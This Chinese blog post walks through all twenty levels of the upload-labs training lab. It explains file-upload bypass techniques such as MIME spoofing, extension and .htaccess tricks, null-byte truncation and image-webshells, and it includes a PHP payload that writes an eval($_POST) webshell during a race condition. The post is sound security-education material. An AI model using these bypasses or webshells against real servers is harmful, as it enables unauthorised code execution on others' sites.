IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件上传漏洞——upload-labs文件包链接及通关详解过程、代码注释 -> 正文阅读

[PHP知识库]文件上传漏洞——upload-labs文件包链接及通关详解过程、代码注释

????????upload-labs通关过程由自己一步步做出过程解析,有什么意见或建议请留言,我会采纳修改。

upload-labs文件包???????链接:https://pan.baidu.com/s/1FjDOTzKD6dAj4enFI1bgyg?
提取码:8888

Pass-01

前端验证绕过

  • 页面另存为本地文件,更改前端限制

  • 关闭浏览器js代码禁用

  • 使用代理拦截上传

  • 方法1:页面另存为本地文件,用记事本打开,找到文件上传类型,添加所要上传的文件类型,保存并打开修改过的页面,再上传就成功啦。

  • 方法2:浏览器中关闭JavaScript代码解析则可。

  • ?方法3:使用Burp Suit代理,拦截,将所有JS限制删除,再上传phpinfo.php文件。(三种方法原理一样)

?Pass-02

MIME-Type验证

MIME-Type介绍:

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

  • 方法1:由pass2源码可以看到mime-type元素标签,bs代理中更改Content-Type图片类型的描述,如下图,就可以通过啦。

?将 Content-Type: application/octet-stream的文件类型改为源码中允许上传的文件类型,如image/jpeg,然后放行就通关啦。

??Pass-03

?黑名单绕过

基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传。

所以这一关就比较简单啦,可上传php1、php2、phtml、php5等等。

注:上传成功后,文件名会被更改,所以需要查看文件上传的位置以及文件名。

  • ?方法1:读取源码,可知pass3为黑名单上传,直接投机取巧,更改文件后缀上传.php5、php4、php3等黑名单中不包含的文件类型就可通过。

??Pass-04

点空格点绕过? ". ."

Windows下xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点。此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个.php空格文件即可。

方法1:根据源码去除后缀规则,先去除末尾点,再去除::$DATA,再去除尾部空格的顺序,可以在后面再加一个点,这样就可以利用·windows文件规则上传文件

?用bs代理,抓包,(将拦截的包发送到重发器中进行操作,防止一次操作不成功,可以多次重复操作,当然,也可以直接修改包,直接省略括号内的操作也可)

在文件后缀尾部直接加点空格点,然后放包。

方法2:黑名单验证,.htaccess

禁止的有点多,但是没有htaccess。

htaccess文件介绍:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中.htaccess文件内容:
SetHandler application/x-httpd-php
设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

创建1.htaccess,并将其上传:

<FilesMatch "上传的图片马的文件名"
SetHandler application/x-httpd-php
</FilesMatch>

Pass-05

大小写绕过

点空格点绕过

方法1:读取源码可知,这一关可以根据大小写绕过通关

方法2:与pass4中的方法1相同,bs抓包,文件后缀加点空格点

方法3:这一关,先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif,.user.ini文件里面的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。

Pass-06

空格绕过

方法1:与四、五关原理相同,用bs抓包,在文件后缀加空格,然后放包就通过啦。

Pass-07

点绕过

方法1:与前几关原理相同,用bs抓包,在文件后缀加点,然后放包就通过啦。

Pass-08

::$DATA 绕过

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

方法1:由源码看出,这关没有::$DATA字符去除,所以用该字符绕过,用bs抓包,在文件后缀加::$DATA,然后放包就通过啦。

方法2:也可用点空格点绕过

Pass-09

点空格点绕过

方法1:读取源码便知,与上几关类似

Pass-10

?双写绕过

方法1:由源码可知,$deny_ext中的元素文件类型都加入上传黑名单,有该类文件上传,str_ireplace函数将文件后缀名替换为空格。

?因此可以使用文件双写绕过,bs抓包,将文件后缀.php改为.pphphp

?Pass-11

截断突破上传限制(get)

原理:URL转码会将 %00 转码为特殊字符。

条件:php5.5.9版本

方法1:上传php脚本文件,用bs抓包,在文件路径后加文件名.php%00,再将文件名(filename)后的文件后缀改为.jpg(允许上传的文件类型)。

?Pass-12

截断突破上传限制(get)

原理:和Pass-11的漏洞非常类似,唯一的不同是请求方式由GET变成了POST,%00的写法对GET有效,因为GET方式将信息提交到地址栏,%00会被转码,但是POST却不会对其进行转码,因此需要修改 HEX 信息。POST方式直接写00即可。

条件:php5.5.9版本

方法1:上传php脚本文件,用bs抓包,在文件路径后加文件名.php+(“+”作为定位标记,在16进制中为2b,方便后面操作查)再将文件名(filename)后的文件后缀改为.jpg(允许上传的文件类型)。

?进去16进制模式,将2b改为00,然后放包。

?Pass-13

伪图片绕过

方法1:读取源码可知,pass13判断文件格式方法为前两个字节

将php脚本用记事本打开,在行首加GIF89a,上传即可。

?方法2:图片挂马:将图片和脚本放在同一目录下,执行cmd命令,在cmd中执行

copy /b 图片+php脚本 新文件名,然后直接上传伪图片zgr_shell.png

?最后用pass13中include.php文件包含解析图片马(http://192.168.51.228/upload-labs-env/include.php?file=zgr_shell.php)

pass-14

getimagesize()突破

本pass使用getimagesize()检查是否为图片文件!

方法1:直接上传合成的图片马,参照pass13的方法2.

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

pass-15

exif_imagetype()突破

本pass使用exif_imagetype()检查是否为图片文件!

跟 Pass-13一样,直接上传图片马即可绕过!

方法1:跟 Pass-13一样,直接上传图片马即可绕过!

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

pass-16

二次渲染的gif文件绕过

方法1:现在制作一个gif图片马,copy就可以了。也可以winhex制作。制作后便上传,发现无法利用。然后将上传的图片重新下载下来,放入winhex,进行对比。可以找到二次渲染后不变的地方,而这个地方就是可以插入一句话的地方。

上传修改好的图片马,蚁剑连接成功。

pass-17

条件竞争

条件:要知道源码?

声明:这一关条件竞争,属于套娃脚本,根据源码可知,文件是先上传至服务器路径,在进行判断,不符合在删除,我们就趁上传至服务器的时间差,完成套娃脚本执行,生成新的脚本文件。

方法一:

利用文件上传后,后台判断、删除的时间漏洞执行shell脚本命令,创建另一个shell脚本文件

上传脚本文件内容为以下的.php格式

<?php fputs( fopen('xie.php','w') , '<?php eval($_POST[xie]) ?>' ) ; ?>

bs拦截——创造变量a——行动——发送至攻击器

positions下——清除变量——添加变量a

?payload下——没有负载——生成次数——开始攻击

?**攻击过程中要不断刷新执行上传文件路径

pass-18

这一关相比17关,上传的文件就必须是白名单中的文件。

Pass-18.jpg是包含17关的webshell.php的内容的图片马。毕竟是先检查后缀的。

这里上传的文件以及生成的shell.php会出现在upload-labs目录中。

然后再访问http://ip/upload-labs/include.php?file=./对应的文件名。就可以生成shell.php。

也可以直接上传13~15关的那种图片马,当然也需要知道重新命名后的文件名,再利用文件包含即可。同13~15关差不多,唯一多了一步就是需要确定上传的文件的文件名以及位置。

pass-19

本关卡直接点绕过上传

方法1:保存名称后加点

?验证是否上传成功:右击图片,复制图片地址?

?执行图片路径,php文件可以解析,表示上传成功。

?pass-20

与13,15关相同,直接上传图片马即可。

具体请参照13关,15关。

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-08 10:26:21  更:2021-09-08 10:28:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:09:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码